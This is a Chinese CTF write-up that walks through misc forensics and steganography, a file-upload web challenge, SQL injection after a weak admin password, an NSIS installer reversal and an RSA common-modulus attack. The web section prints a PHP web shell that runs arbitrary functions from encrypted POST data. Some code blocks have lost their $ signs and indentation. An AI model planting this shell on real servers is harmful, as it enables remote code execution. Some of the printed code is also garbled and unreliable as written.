本人太菜,没做出几题,部分WP参考了一些大佬, :lei:

MISC

签到题

抖音短视频 :pen:

code_in_morse

打开看到是个流量包,先做流量分析直接尝试导出对象,看到有一张图片:

实际上这也不是张图片,得到一串摩斯密码,

在线网站上解密得到一串加密字符串

RFIE4RYNBINAUAAAAAGUSSCEKIAAAAEUAAAAA7AIAYAAAAEPFOMTWAAABANUSRCBKR4F53M52F3NWOAMIQ37776R5GE6YNAWJPUA4ZBZM6M5ZPRVWIURUHGMBRAMU7T3P57X776PP5DOBIQIXQE2RCZC5EYFWBAESRALQNACALVNE4B2TCABEA4XIZQAVKFXW632O3XS5HZT7R2J747545E4Y7K6HJA7WI5Y62W4OH7HJ75RL2VOMUMN2OOXOWU7RXV7U6D7AFC2X6TBGSDQII3ABOUCCARS2Q7CAATKD2HRTI6JKAZNIXYGK3ZO4POZENG566RDQVSAKWF26VLJJPC5VD2FAATKAMCHTP27Y5IKTWNNAKLVNEPUXLH6XVICOQMXGHEPDBYZYXZ2R6KKTU7ZF7X2CBGUXSOSHICOPIPQCJNAT3JO5ND5OHLBW5BF4CWNI5BFKTERWIUWFZYKVVKURWS7PI4FEXURAUFXBD6JQKSPZFJ7EXRCPEUSHJMS7GVKVDOG7W6F4ZL4XILUVCKWGFZ3KV2I5WBR7R2QALVHNSEWCKDCIXCA3VJU2QAJVCUZSO3LZICZJAASKAD2LKQ6BLVPQLUDSDLFPZP2WOTPLVLNABG7SPICMT3K52QLTWK3Y4NBXIMX5NRKJIA5FLO6Y3LVP55BPDITRVN2UYEZ33ERFZ2R4KTFVJVECKKRXKA2LRCKQFHEAIEAKZWYCKXRXLGJYJXQKZ445HWLUPAFGIC7FV46SB5MERIYNWSHUCNUQP5OB4S2BDQ7627HULZQRW3QYNKQKU3VHCNJSU6E36IUEPU2TBGKZOSB22N2R6TPY7XUG32VIXLTHGHJXGWNWMTJOGFMAJHOVWIIGDSG2KOONGK7UDFQS4ZOK2OAXKAXWZRTOTZQ2Q7CKRKRWAK6IAK2SRYLT72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TVLVVZMN6NGKXOPO7AKI7ZO2AYBGV7YFMMCAQKQ65D6VINJOPMPKVO3XS73ICKETFERWLKCFX5YEYQA566QZJPETH7AKRZBJPENQNUWN4K2DYTNLWDKPY2WKGMDCIC5QRQUSO42ZPETOUO3VHUIJSVHSN3UXZ2B6OR6ZYB2J4KX5W6QRKB5QMEKQQVTTVO2LJYMULY2WDFFQWROXMWUELDVPZBIDFVAWQFLR6AJ6POOEHBW2U4UDC7S2FRU4VC47P3WQJ4BROGKLYQXSVIHLE7ZXAIKID2LZFB5JHV4NIAKQCAJFGYXI3AEAXI2JYDRGUDCMBJIR7ABXO3NF6UIUKCLNAAAAAACJIVHEJLSCMCBA====

这里有点坑,我找的那个解密网站没显示最后的四个等于号,我先当做是base64做,后来才知道是base32 :huaji12:

在线的base32解码不能转16进制,所以自己写脚本转到16进制

import base64
s = base64.b32decode("RFIE4RYNBINAUAAAAAGUSSCEKIAAAAEUAAAAA7AIAYAAAAEPFOMTWAAABANUSRCBKR4F53M52F3NWOAMIQ37776R5GE6YNAWJPUA4ZBZM6M5ZPRVWIURUHGMBRAMU7T3P57X776PP5DOBIQIXQE2RCZC5EYFWBAESRALQNACALVNE4B2TCABEA4XIZQAVKFXW632O3XS5HZT7R2J747545E4Y7K6HJA7WI5Y62W4OH7HJ75RL2VOMUMN2OOXOWU7RXV7U6D7AFC2X6TBGSDQII3ABOUCCARS2Q7CAATKD2HRTI6JKAZNIXYGK3ZO4POZENG566RDQVSAKWF26VLJJPC5VD2FAATKAMCHTP27Y5IKTWNNAKLVNEPUXLH6XVICOQMXGHEPDBYZYXZ2R6KKTU7ZF7X2CBGUXSOSHICOPIPQCJNAT3JO5ND5OHLBW5BF4CWNI5BFKTERWIUWFZYKVVKURWS7PI4FEXURAUFXBD6JQKSPZFJ7EXRCPEUSHJMS7GVKVDOG7W6F4ZL4XILUVCKWGFZ3KV2I5WBR7R2QALVHNSEWCKDCIXCA3VJU2QAJVCUZSO3LZICZJAASKAD2LKQ6BLV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KQ6AEDV6T2MGAJ7HUQQUXSPY2U6VFNR3YDVWWKLK54UE2RPPUBGUJHDZ5SGMUY563JFZIRAPIXIGHLD2Q5IMUQOWIGOS2OADI4FPZ3GPJHQV2BU74SW6AUSPXX57VPJ24ZFJ7FNQIURSX6KQZGLKPDN5TLRKZZEGEN6K7T65EHP2X7E54M4AZQVRPFHRVDOZBLVAJFSHUPIVMTKKFUF4C2X7FBGUNWESTWFYXM37PZIBXQMWUERWUSQTFVD65OZR7YZBUACNIP46K3EQXWY5SUSIYGESUH3NLI6FI6DAFNUHQD5KLADK23QWSXWV4UE2RTF6HNMZWTVLVVZMN6NGKXOPO7AKI7ZO2AYBGV7YFMMCAQKQ65D6VINJOPMPKVO3XS73ICKETFERWLKCFX5YEYQA566QZJPETH7AKRZBJPENQNUWN4K2DYTNLWDKPY2WKGMDCIC5QRQUSO42ZPETOUO3VHUIJSVHSN3UXZ2B6OR6ZYB2J4KX5W6QRKB5QMEKQQVTTVO2LJYMULY2WDFFQWROXMWUELDVPZBIDFVAWQFLR6AJ6POOEHBW2U4UDC7S2FRU4VC47P3WQJ4BROGKLYQXSVIHLE7ZXAIKID2LZFB5JHV4NIAKQCAJFGYXI3AEAXI2JYDRGUDCMBJIR7ABXO3NF6UIUKCLNAAAAAACJIVHEJLSCMCBA====")
with open ("1.txt","wb") as f:
    f.write(s)
    f.close()

看到一个很熟悉的开头是张png图片,所以转码成png。

得到的应该是张条形码,不是二维码,条形码比较少见

拿出手机扫一扫,扫出来是个网址

https://s2.ax1x.com/2020/02/06/1yPXJ1.jpg

得到一张图片

下载下来,用binwalk分析,可以看到这一串东西

听大佬说早期的F5隐写都会带上这一串字符,既然得知是F5隐写就直接解密

最后在output.txt里得到flag

funnygame

拿到手,看起来像是一个游戏,一个扫雷游戏,在目录下有个resources文件夹,里面是一些图片。

看到唯一一张png图片,用binwalk分析,

看到有个Zip,解压得到一个secret.txt文件

看到是U2FsdGVkX1开头,所以猜想是AES加密,所以接下来是找密码。

在解压的文件里面还有个__pycache__文件夹,里面有一个pyc文件,看了大佬的WP才知道这里有个stegosaurus隐写

pyc的隐写介绍:https://wiki.x10sec.org/misc/other/pyc/

直接看到了AES的key:Flippingisfun

解密网站解密后可以看到是一串16进制代码

把它保存下来,看看有什么诡计

像是一个压缩包,但是把16进制倒过来了,用代码把他倒过来:

with open("123",'rb') as f:
    s = f.read()
with open("1.zip",'wb') as k:
    k.write(s[::-1])

是一段音频文件,并不是音频隐写,只是音频倒过来,用软件反过来后靠耳朵听吧。

套娃

篇幅问题,单独开一篇文章

WP | i春秋公益赛 | MISC 套娃题


WEB

ezupload

拿到题目:

先是被这题吓到了,这题和上次某比赛题目太像了,sandbox+upload;本以为是条件竞争+上传,结果并不是。

题目没有带任何过滤,直接可以上传一句话木马

本来是用菜刀连接,但是在菜刀下面发现不能下载flag,显示:

所以换到了冰蝎,一句话木马:

<?php
session_start();
if (isset(_GET['pass']))
{key=substr(md5(uniqid(rand())),16);
    _SESSION['k']=key;
    print key;
}
else
{key=_SESSION['k'];decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", key);arr=explode('|',decrptContent);func=arr[0];params=arr[1];func($params);
}
?>

连接后:

可以成功连接

我们可以在文件目录下面看到一个程序:readflag

运行之后得到flag

简单的招聘系统

打卡容器,没看到什么特别的东西,扫了一下后台也没有什么可用的

 

尝试用弱密码攻击,发现弱密码admin888

登入后看到有一个搜索界面

尝试注入可以直接获取flag

 


Reverse

奇怪的安装包

拿到题是个nsis安装包,安装到一半让你输入key。

在网上找了半天,发现有大神做了一个带反编译nsis的7z软件,可以反编译nsis脚本

软件github:https://github.com/myfreeer/7z-build-nsis

拿到手反编译之后,直接看关键代码

Dialogs::InputBox 1 请输入key "Input your key" 确定 取消 4 6
; Call Initialize_____Plugins
; SetOverwrite off
; File PLUGINSDIR\Dialogs.dll
; SetDetailsPrint lastused
; Push 6
; Push 4
; Push 取消
; Push 确定
; Push "Input your key"
; Push 请输入key
; Push 1
; CallInstDLLPLUGINSDIR\Dialogs.dll InputBox
DetailPrint "Checking...: 6"
IntCmp4 1 0 label_415 label_415
StrCmp 6 NSIISSOEASY 0 label_415
MessageBox MB_OK key正确
Dialogs::InputBox 1 请输入flag "Input your flag" 确定 取消 4 6
; Call Initialize_____Plugins
; AllowSkipFiles off
; FilePLUGINSDIR\Dialogs.dll
; SetDetailsPrint lastused
; Push 6
; Push 4
; Push 取消
; Push 确定
; Push "Input your flag"
; Push 请输入flag
; Push 1
; CallInstDLL PLUGINSDIR\Dialogs.dll InputBox
IntCmp4 1 0 label_415 label_415
Push 6
Call func_429
Pop6
StrCpy 3 gm`fzd787`7bb,g72d,592b,8`g1,cg96813e8d``|
StrCmp3 6 0 label_417
MessageBox MB_OK flag正确,可以愉快的玩游戏了
Goto label_419
label_415:
MessageBox MB_OK 错误的key
MessageBox MB_OK 想办法找到正确的key把
label_417:
MessageBox MB_OK flag错误
MessageBox MB_OK 想办法找到正确的flag把
label_419:
SectionEnd
   
Function func_429
Pop9
StrCpy 3 ""
StrCpy0 9
StrCpy1 0
label_433:
StrCpy 20 1 1
StrCmp2 "" label_443
Push 2
Call func_445
Pop2
IntOp 22 ^ 1
IntFmt 2 %c2
IntOp 11 + 1
StrCpy 332
Goto label_433
label_443:
Push3
FunctionEnd
  
Function func_445
Exch 0
; Push0
; Exch
; Pop 0
Push1
Push 2
StrCpy2 1
label_451:
IntFmt 1 %c2
StrCmpS 10 0 label_455
StrCpy 02
Goto label_458
label_455:
IntOp 22 + 1
StrCmp 2 255 0 label_451
StrCpy0 0
label_458:
Pop 2
Pop1
Exch 0
; Push0
; Exch
; Pop $0
FunctionEnd

当时这段代码一直没看懂, :meng:

上大佬的脚本:

plain = b"gm`fzd787`7bb,g72d,592b,8`g1,cg96813e8d``|"
print('1'*len(plain))
flag = b""
t = 0
for i in plain:
if i%2==1:
flag+=bytes([i-1])
else:
flag+=bytes([i+1])
print(flag)

 


Crypto

EasyRSA

已知n和2个e,c,做重模攻击

n = 27560959918385616419486273009594513460044316476337842585463553105701869531698366304637678008602799005181601310816935394003041930445509801196554897781529962616349442136039951911764620999116915741924245788988332766182305635804754798018489793066811741026902011980807157882639313892932653620491354630354060462594865874663773934670618930504925812833202047183166423043264815905853486053255310346030416687430724204177468176762512566055165798172418622268751968793997676391170773216291607752885987933866163158257336522567086228092863302685493888839866559622429685925525799985062044536032584132602747754107800116960090941957657
e1 = 464857
e2 = 190529
c1 = 21823306870841016169952481786862436752894840403702198056283357605213928505593301063582851595978932538906067287633295577036042158302374948726749348518563038266373826871950904733691046595387955703305846728530987885075910490362453202598654326947224392718573893241175123285569008519568745153449344966513636585290770127055273442962689462195231016899149101764299663284434805817339348868793709084130862028614587704503862805479792184019334567648078767418576316170976110991128933886639402771294997811025942544455255589081280244545901394681866421223066422484654301298662143648389546410087950190562132305368935595374543145047531
c2 = 9206260935066257829121388953665257330462733292786644374322218835580114859866206824679553444406457919107749074087554277542345820215439646770680403669560474462369400641865810922332023620699210211474208020801386285068698280364369889940167999918586298280468301097349599560130461998493342138792264005228209537462674085410740693861782834212336781821810115004115324470013999092462310414257990310781534056807393206155460371454836230410545171068506044174001172922614805135260670524852139187370335492876094059860576794839704978988507147972109411033377749446821374195721696073748745825273557964015532261000826958288349348269664    

直接上脚本:

from libnum import n2s, s2n
from gmpy2 import invert
    
# 扩展欧几里得算法
def egcd(a, b):
  if a == 0:
    return (b, 0, 1)
  else:
    g, y, x = egcd(b % a, a)
    return (g, x - (b // a) * y, y)
    
def main():
  n = 27560959918385616419486273009594513460044316476337842585463553105701869531698366304637678008602799005181601310816935394003041930445509801196554897781529962616349442136039951911764620999116915741924245788988332766182305635804754798018489793066811741026902011980807157882639313892932653620491354630354060462594865874663773934670618930504925812833202047183166423043264815905853486053255310346030416687430724204177468176762512566055165798172418622268751968793997676391170773216291607752885987933866163158257336522567086228092863302685493888839866559622429685925525799985062044536032584132602747754107800116960090941957657
  e1 = 464857
  e2 = 190529
  c1 = 21823306870841016169952481786862436752894840403702198056283357605213928505593301063582851595978932538906067287633295577036042158302374948726749348518563038266373826871950904733691046595387955703305846728530987885075910490362453202598654326947224392718573893241175123285569008519568745153449344966513636585290770127055273442962689462195231016899149101764299663284434805817339348868793709084130862028614587704503862805479792184019334567648078767418576316170976110991128933886639402771294997811025942544455255589081280244545901394681866421223066422484654301298662143648389546410087950190562132305368935595374543145047531
  c2 = 9206260935066257829121388953665257330462733292786644374322218835580114859866206824679553444406457919107749074087554277542345820215439646770680403669560474462369400641865810922332023620699210211474208020801386285068698280364369889940167999918586298280468301097349599560130461998493342138792264005228209537462674085410740693861782834212336781821810115004115324470013999092462310414257990310781534056807393206155460371454836230410545171068506044174001172922614805135260670524852139187370335492876094059860576794839704978988507147972109411033377749446821374195721696073748745825273557964015532261000826958288349348269664
  s = egcd(e1, e2)
  s1 = s[1]
  s2 = s[2]
  # 求模反元素
  if s1 < 0:
    s1 = - s1
    c1 = invert(c1, n)
  elif s2 < 0:
    s2 = - s2
    c2 = invert(c2, n)
    
  m = pow(c1, s1, n) * pow(c2, s2, n) % n
  print(n2s(m))  # 二进制转string
     
if __name__ == '__main__':
  main()    

 

 


一沙一世界,一花一天堂。君掌盛无边,刹那成永恒。